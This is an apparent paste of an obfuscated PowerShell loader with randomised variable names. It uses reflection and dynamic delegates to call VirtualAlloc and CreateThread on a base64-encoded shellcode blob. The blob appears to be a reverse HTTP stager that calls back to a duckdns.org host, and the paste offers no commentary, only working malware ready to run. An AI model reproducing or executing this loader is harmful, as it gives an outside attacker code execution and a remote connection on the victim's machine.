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Mar 22nd, 2019
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  1. function x9L {
  2. Param ($jHxP, $oLaAb)
  3. $oxkS = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  4.  
  5. return $oxkS.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($oxkS.GetMethod('GetModuleHandle')).Invoke($null, @($jHxP)))), $oLaAb))
  6. }
  7.  
  8. function wJfh {
  9. Param (
  10. [Parameter(Position = 0, Mandatory = $True)] [Type[]] $ooHV,
  11. [Parameter(Position = 1)] [Type] $f2m = [Void]
  12. )
  13.  
  14. $gMrff = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  15. $gMrff.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $ooHV).SetImplementationFlags('Runtime, Managed')
  16. $gMrff.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $f2m, $ooHV).SetImplementationFlags('Runtime, Managed')
  17.  
  18. return $gMrff.CreateType()
  19. }
  20.  
  21. [Byte[]]$d2p = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1obmV0AGh3aW5pVGhMdyYH/9Ux21NTU1NT6D4AAABNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvAGg6Vnmn/9VTU2oDU1NouwEAAOjIAAAAL2llVGQ1Z1BoT3ZTVDhKTHh6MzQyWFFKSDl2RGFsNVMtYi05akszZ25LMWU2OW94XzdFNmgzMnMAUGhXiZ/G/9WJxlNoADLghFNTU1dTVmjrVS47/9WWagpfaIAzAACJ4GoEUGofVmh1Rp6G/9VTU1NTVmgtBhh7/9WFwHUUaIgTAABoRPA14P/VT3XN6FMAAABqQGgAEAAAaAAAQABTaFikU+X/1ZNTU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0z4sHAcOFwHXlWMNf6Gv///8xNGFyZGVlZTE0LmR1Y2tkbnMub3JnALvwtaJWagBT/9U=")
  22.  
  23. $pqbCz = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x9L kernel32.dll VirtualAlloc), (wJfh @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $d2p.Length,0x3000, 0x40)
  24. [System.Runtime.InteropServices.Marshal]::Copy($d2p, 0, $pqbCz, $d2p.length)
  25.  
  26. $jW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x9L kernel32.dll CreateThread), (wJfh @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$pqbCz,[IntPtr]::Zero,0,[IntPtr]::Zero)
  27. [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x9L kernel32.dll WaitForSingleObject), (wJfh @([IntPtr], [Int32]))).Invoke($jW,0xffffffff) | Out-Null
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